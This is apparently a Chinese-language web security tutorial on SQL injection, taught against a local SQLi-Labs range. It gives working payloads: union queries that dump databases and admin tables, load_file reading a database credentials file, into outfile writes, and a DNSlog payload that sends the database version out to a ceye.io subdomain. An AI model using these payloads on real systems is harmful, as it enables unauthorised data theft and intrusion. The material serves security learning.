《Web安全基础》03. SQL 注入
@
本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。
靶场使用 SQLi-Labs。详情参见《WriteUp:SQLi-Labs》
1:简要 SQL 注入

SQL 注入非常复杂,区分各种数据库类型,提交方法,数据类型等注入。此类漏洞是 WEB 安全中严重的漏洞,学习如何利用,挖掘,修复也很重要。
SQL 注入就是在数据交互中,前端数据传到后台时没有做严格的判断,导致传进来的数据被拼接到 sql 语句中,被当作 sql 语句的一部分进行执行,从而导致数据泄露、丢失甚至服务器瘫痪。
常见的 sql 注入产生原因:
- 转义字符处理不合适
- 不安全的数据库配置
- 不合理的查询集处理
- 不当的错误处理
- 多个提交处理不当
注入判断:
1、逻辑值
and 1 = 1 页面正常
and 1 = 2 页面异常
则可能存在注入点
2、order by
通过 order by 判断注入的字段数
2:MySQL 注入

SQL 注入思路都差不多,这里主要以 MySQL 为例。
2.1:信息获取
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
在 mysql5.0 以上版本存在 information_schema 数据库,记录着所有的数据库,表名,列名。
information_schema.tables # 记录所有的表名
information_schema.columns # 记录所有的列名
table_name # 表名
column_name # 列名
table_schema # 数据库名
本节示例见 SQLi-Labs Less-1。
2.2:跨库攻击
常见的数据库与用户的对应关系:
数据库用户A - 数据库A - 网站A --> 表名 --> 列名 --> 数据
数据库用户B - 数据库B - 网站B --> 表名 --> 列名 --> 数据
数据库用户C - 数据库C - 网站C --> 表名 --> 列名 --> 数据
这样做的好处是一个用户对应一个库,网站之间的用户权限与数据互不干扰
这是最基础的数据库模型,现在大网站都是分布式数据库。
跨库查询的前提条件是必须高权限的用户才能执行跨库查询。
跨库攻击,以 Less-2 示例:
# 获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
# 获取指定 qqyw 数据库名下的表名信息:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='qqyw'
获取指定 qqyw 下的表名 admin 下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='qqyw'
获取指定 qqyw 下的 admin 数据
union select 1,u,p,4 from qqyw.admin
2.3:文件读写
获取的数据库权限会影响下一步测试思路。
高权限直接测试。
低权限就一步一步获取数据。
文件读写操作:
- load_file():文件读取函数
- into outfile 或 into dumpfile:文件写入、导出
获取路径的常见方法:报错显示、遗留文件、漏洞报错、平台配置文件、爆破等。
MySQL 查询是否有写入权限:
show global variables like '%secure_file_priv%';
读取本地文件示例:
http://127.0.0.1:8888/Less-2/?id=-1 union select 1,load_file('E:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3
本地文件写入示例:
http://127.0.0.1:8888/Less-2/?id=-1 union select 1, 'test' ,3 into outfile 'E:\\test.txt' --+
2.4:常见防护
魔术引号:magic_quotes_gpc
当 magic_quotes_gpc = On 时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会加上转义符号(\)。
自定义防护:例如 PHP 中的判断输入是否是 int 型数据:is_int() 函数,这种就无法绕过。
3:注入方法
具体示例见 SQLi-Labs。
3.1:类型方法明确
在真实 SQL 注入安全测试中,一定要明确提交数据类型及提交方法后再进行注入。
明确参数类型:数字、字符、JSON 等。
明确接受的请求方法:GET、POST、COOKIE、REQUEST、HTTP 头等。
sql 语句干扰符号:'、"、、)、} 等,具体需看写法。
3.2:盲注
进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是 SQL 语句查询方式的问题导致,这个时候需要用到相关的报错或盲注进行后续操作。
手工注入时,提前了解或预知其 SQL 语句大概写法也能更好的选择对应的注入语句。
可以通过查询方式与 SQL 的关系、注入点产生的地方猜测到 SQL 查询方式。
涉及的 SQL 语句:
select:查询数据,在网站应用中进行数据显示查询操作。
insert:插入数据,在网站应用中进行用户注册添加等操作。
delete:删除数据,后台管理里面删除文章删除用户等操作。
update:更新数据,会员或后台中心数据同步或缓存等操作。
order by:数据排序,一般结合表名或列名进行数据排序操作。
在注入过程中,获取的数据不能回显至前端页面。此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为以下三类:
- 基于布尔的 SQL 盲注:逻辑判断。
- 基于时间的 SQL 盲注:延时判断。
- 基于报错的 SQL 盲注:报错回显。
具体示例见 SQLi-Labs。
参考文章:
12种报错注入+万能语句
sql报错注入:extractvalue、updatexml报错原理
Order by排序注入方法小总结
3.3:编码
一些变量值在传递时会先编码或加密(如 base64 等)。这时手工注入就要先把传递值进行相应编码或加密。
例如 admin' and 1=1 base64 编码后的值是 YWRtaW4nIGFuZCAxPTE=
实际案例:SQLi-Labs-Less21:cookie&base64编码注入
一个简单的 base64 编码脚本:
<?php
$url='http://xxxx/Less-1/index.php?id=;
$payload=base64_encode($_GET['x']);
$urls=$url.$payload;
file_get_contents($urls);
echo $urls;
?>
3.4:二次注入

二次注入一般用于白盒测试,黑盒测试就算找到注入点也没办法攻击。
以 SQLi-Labs-Less24 为例:注册 admin'# 这样一个用户。

此时修改 admin'# 用户的密码就能把 admin 用户的密码修改。
3.5:DNSlog 注入
DNSlog 盲注仅限于 windos 环境。能优化无回显问题。
相关资源:http://ceye.io
示例:
select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);
参考文章:https://www.cnblogs.com/xhds/p/12322839.html
3.6:堆叠注入
在 MySQL 中,每一条语句结尾加【;】表示语句结束。
堆叠注入(stacked injection)就是多个语句连接到一起执行的注入。
应用场景:
- 注入需要管理员帐号密码,密码是加密,无法解密
- 堆叠注入时插入数据,用户密码自定义,可以正常解密登录
参考文章:堆叠注入详解
4:WAF 绕过
在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便灵活构造 Payload,从而和各种 WAF 进行对抗。
4.1:WAF 简介
简要来说,WAF 有以下功能:
内容审计
截获所有 HTTP 数据或不满足某些规则的会话访问控制
控制对 Web 应用的访问,包括主动安全模式和被动安全模式架构 / 网络设计
运行反向代理模式时,用来分配职能,集中控制,虚拟基础结构等WEB 应用加固
屏蔽 WEB 应用固有弱点,保护 WEB 应用编程错误导致的安全隐患。
WAF 的常见功能:
- 异常检测协议:拒绝不符合 HTTP 标准的请求
- 增强输入验证:代理和服务端的验证,而不只是限于客户端验证
- 白名单&黑名单:白名单适用于稳定的 Web 应用,黑名单适合处理已知问题
- 基于规则和异常的保护:基于规则,更多依赖黑名单机制;基于异常,更为灵活
- 状态管理:进行重点会话保护
- Cookies 保护
- 抗入侵规避技术
- 响应监视
- 信息泄露保护
WAF 对扫描器防范手段:
- 扫描器指纹:head字段、请求参数值等
- 单 IP + cookie 某时间段内触发规则次数
- 隐藏的链接标签等
- Cookie 植入
- 验证码验证
- 单 IP 请求时间段内 WebServer 返回 http 404 状态比例:扫描器探测敏感目录基于字典,找不到文件则返回 404
4.2:绕过方法

参考文章:
SQL注入-WAF绕过
sqlmap超详细笔记+思维导图
5:其他数据库注入

5.1:Access
Access,关系型数据库。
Access 数据库比较特别,都是存放在网站目录下,后缀格式为 mdb,常搭配脚本
asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库。
结构:
Access -> 表名 -> 列名 -> 数据
注入方式:
union 注入、http header 注入、偏移注入等。
Access 偏移注入:解决列名获取不到的情况。
查看登陆框源代码的表单值或观察 URL 特征等,也可以针对表或列获取不到的情况。
参考文章:Access偏移注入与原理
5.2:Sql Server
Microsoft SQL Server,也叫 MSSQL,关系型数据库。
注入方式和 MySQL 没什么两样。
参考文章:MSSQL注入
5.3:PostgreSQL
PostgreSQL,关系型数据库。
参考文章:PostGresql 注入知识汇总
5.4:Oracle
Oracle,关系型数据库。
参考文章:【实战】Oracle注入总结
5.5:MongoDB
MongoDB 是一个基于分布式文件存储的数据库,属于非关系型数据库。
- 介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。
- 数据传输采用 JSON 传输。
- tojson 函数可以输出 json 数据。
一个针对 MongoDB 注入的工具:NoSQLAttack
淡云孤雁远,寒日暮天红。
——《临江仙》(五代)徐昌图
《Web安全基础》03. SQL 注入的更多相关文章
- WEB安全基础之sql注入基础
1.基础sql语句 注释 单行注释# %23--+ --加空格多行注释/**/ SELECT(VERSION()) SELECT(USER()) SELECT(database()) 查数据库 SEL ...
- Web安全学习笔记 SQL注入下
Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...
- Web安全学习笔记 SQL注入上
Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...
- Web安全学习笔记 SQL注入中
Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...
- Web登录敲门砖之sql注入
声明:文本原创,转载请说明出处,若因本文而产生任何违法违纪行为将与本人无关.在百度.博客园.oschina.github .SegmentFault.上面都关于sql注入的文章和工具.看过很多sql注 ...
- Web常见安全漏洞-SQL注入
SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞. 可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作, 甚至有可 ...
- php web开发安全之sql注入和防范:(一)简单的select语句注入和防范
sql注入主要是指通过在get.post请求参数中构造sql语句,以修改程序运行时所执行的sql语句,从而实现获取.修改信息甚至是删除数据的目的,sql被注入的原因主要是代码编写的有问题(有漏洞),只 ...
- Web安全篇之SQL注入攻击
在网上找了一篇关于sql注入的解释文章,还有很多技术,走马观花吧 文章来源:http://www.2cto.com/article/201310/250877.html ps:直接copy,格式有点问 ...
- web开发中防止SQL注入
一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...
- web攻击之三:SQL注入攻击的种类和防范手段
观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的.虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施. ...
随机推荐
- ABP - 依赖注入(1)
依赖注入实现了系统之间.模块之间和对象之间依赖关系的解耦,基本上是现代应用程序框架必不可少的一个组成部分. ABP的依赖注入系统是基于Microsoft的依赖注入扩展库(Microsoft.Exten ...
- Serverless冷扩机器在压测中被击穿问题
一.现象回顾 在今天ForceBot全链路压测中,有位同事负责的服务做Serverless扩容(负载达到50%之后自动扩容并上线接入流量)中,发现新扩容的机器被击穿,监控如下(关注2:40-3:15时 ...
- 渗透测试-struts2攻防环境搭建拿shell
一.下载Jspstudy 打开目录D:\JspStudy\tomcat\webapps 二.打开struts2并进行拿shell 1.打开struts2 在浏览器中输入网址http://localho ...
- ODOO13之七:Odoo 13开发之记录集 – 使用模型数据
在上一篇文章中,我们概览了模型创建以及如何从模型中载入和导出数据.现在我们已有数据模型和相关数据,是时候学习如何编程与其进行交互 了.模型的 ORM(Object-Relational Mapping ...
- 基于SqlSugar的开发框架循序渐进介绍(31)-- 在查询接口中实现多表联合和单表对象的统一处理
在一些复杂的业务表中间查询数据,有时候操作会比较复杂一些,不过基于SqlSugar的相关操作,处理的代码会比较简单一些,以前我在随笔<基于SqlSugar的开发框架循序渐进介绍(2)-- 基于中 ...
- Springboot+actuator+prometheus+Grafana集成
本次示例以Windows示例 推荐到官网去下载:Windows版的应用程序 下载最新版 prometheus-2.37.8.windows-amd64 压缩包:解压就行 下载最新版 grafana-9 ...
- 可视化生信分析利器 Galaxy 之 Docker 部署
Galaxy Project(https://galaxyproject.org/)是很多年前在云计算背景下诞生的一个生物信息学可视化分析开源项目, 是目前生物医学研究领域最受欢迎的在线生物信息分析工 ...
- shell工具和脚本
Shell脚本 shell 脚本是一种更加复杂度的工具. 大多数shell都有自己的一套脚本语言,包括变量.控制流和自己的语法.shell脚本 与其他脚本语言不同之处在于,shell 脚本针对 she ...
- hvv面试常见框架漏洞问题合集
1.thinkphp 特征判断 直接在url后加/?s=1 whatweb进行探测,方式:whatweb URL 漏洞 5.0 RCE 原理 thinkphp底层没有对控制器名进行很好的合法性校验,导 ...
- ASP.NET Core 6框架揭秘实例演示[40]:基于角色的授权
ASP.NET应用并没有对如何定义授权策略做硬性规定,所以我们完全根据用户具有的任意特性(如性别.年龄.学历.所在地区.宗教信仰.政治面貌等)来判断其是否具有获取目标资源或者执行目标操作的权限,但是针 ...